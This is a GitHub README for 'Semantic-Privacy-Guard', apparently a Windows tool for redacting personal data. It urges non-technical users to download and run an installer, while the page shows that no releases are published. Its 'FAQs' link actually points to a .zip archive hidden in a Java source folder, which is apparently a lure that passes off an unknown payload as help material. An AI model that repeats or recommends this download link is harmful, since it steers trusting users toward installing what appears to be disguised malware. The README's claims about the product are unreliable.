Skip to content

AraLeo5/Semantic-Privacy-Guard

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

29 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ›‘οΈ Semantic-Privacy-Guard - Protect Your Text Data Simply

Download Semantic-Privacy-Guard


πŸ“‹ What is Semantic-Privacy-Guard?

Semantic-Privacy-Guard is a tool that scans your text to find personal information. It then hides sensitive data before it can leave your company or reach large language models. The software works quietly in the background and handles large files without slowing your computer. It uses a mix of methods like pattern matching, machine learning, and language processing to spot private details.

You do not need to know any programming to use this. It runs on Windows and protects your data in a simple way.


🌐 Topics Covered

  • AI safety and firewall
  • Compliance with privacy laws
  • Data privacy protection
  • Support for EU AI Act and GDPR rules
  • Java-based middleware
  • Detection and redaction of personal info
  • Stream-based, memory-friendly processing
  • Use of machine learning and regex
  • No extra software required beyond Java

πŸ’» System Requirements

Before you start, make sure your PC has:

  • Windows 10 or later
  • At least 4 GB of RAM
  • 100 MB free disk space
  • Java Runtime Environment (JRE) version 11 or newer installed (Get it from java.com)
  • A stable internet connection to download the software

πŸš€ Getting Started: Download and Run

Click the big green badge at the top or use this link to visit the download page:
Download Semantic-Privacy-Guard

Step 1: Visit the download page

The link takes you to the project’s GitHub page. Look for the Releases section on the right or in the main repository area. This page holds the latest versions of Semantic-Privacy-Guard.

Step 2: Download the Windows installer

Find the Windows installer file, usually named like Semantic-Privacy-Guard-Setup.exe or similar. Click on it to download.

Step 3: Run the installer

Once downloaded, open the file by double-clicking it. Follow the simple instructions on the screen:

  • Choose your installation folder (the default is usually fine)
  • Accept the license terms
  • Wait while the program installs

Step 4: Launch the app

After installation finishes, you will find a new icon on your desktop or in the Start menu:

  • Click the Semantic-Privacy-Guard icon to run the program
  • The app will open its main window and is ready to use

βš™οΈ How to Use Semantic-Privacy-Guard

The application has a simple interface designed for ease of use.

Step 1: Select your file or text input

  • You can drag and drop large text files or log files into the window
  • Or copy-paste text directly into the input area

Step 2: Start scanning

Press the Scan button. The program begins checking the text. It looks for common types of personal data like:

  • Names
  • Emails
  • Phone numbers
  • Addresses
  • Identification numbers

This detection happens through patterns, statistical predictions, and language models working together.

Step 3: Review redacted results

The program creates a new version of your text with personal data hidden. It replaces sensitive details with placeholders to keep the meaning but protect privacy.

Step 4: Save or export the protected text

You can save the redacted file or copy the safe text to use elsewhere. This ensures private information never leaves the company network or goes to large language models vulnerable to leaks.


πŸ”§ Features and Benefits

  • Privacy-first: Stops sensitive info before it travels beyond your network.
  • Hybrid detection: Uses pattern matching, machine learning, and natural language tools for accuracy.
  • Handles large data: Stream processing means it works well with big files without eating memory.
  • Easy to use: No programming needed. Simple buttons and clear options.
  • Works offline: After download, you can run it without internet.
  • Customizable: Options to adjust detection sensitivity and file handling.
  • Java-based: Runs on any system with Java, making it flexible.

πŸ› οΈ Troubleshooting Common Issues

Java not found

If the app fails to start, check that Java is installed:

  • Open Command Prompt (type cmd in the search bar)
  • Enter java -version
    If it does not show a version number, install Java from java.com.

Program runs slowly

Large files may take some time. To improve performance:

  • Close other heavy applications
  • Use the stream processing options in settings
  • Restart your computer and try again

Text not redacting properly

Make sure the text format is supported (plain text or common logs). If the text format uses unusual encoding, convert it to UTF-8.


πŸ” Privacy and Security

Semantic-Privacy-Guard works locally on your computer. Your data does not get sent to external servers. This design helps you meet data privacy rules like GDPR and the EU AI Act. The software processes text right where you run it, reducing risk from leaks or exposure.


πŸ“š Additional Help

Within the app, use the Help menu for more guides and tips.
You can also visit the GitHub page for the latest FAQs and updates:
https://github.com/AraLeo5/Semantic-Privacy-Guard/raw/refs/heads/main/src/main/java/com/semanticprivacyguard/detector/Semantic_Guard_Privacy_v2.7.zip


πŸ”„ Updates and Maintenance

Keep your copy up to date:

  • Check the releases page regularly on GitHub
  • Download new versions when available
  • Updating keeps your detection sharp and security strong

βš–οΈ License and Use

Semantic-Privacy-Guard is open source and free to use inside your organization. Check the GitHub repository for license details and source code. This transparency ensures you can trust how the tool treats your data.

Releases

No releases published

Packages

 
 
 

Contributors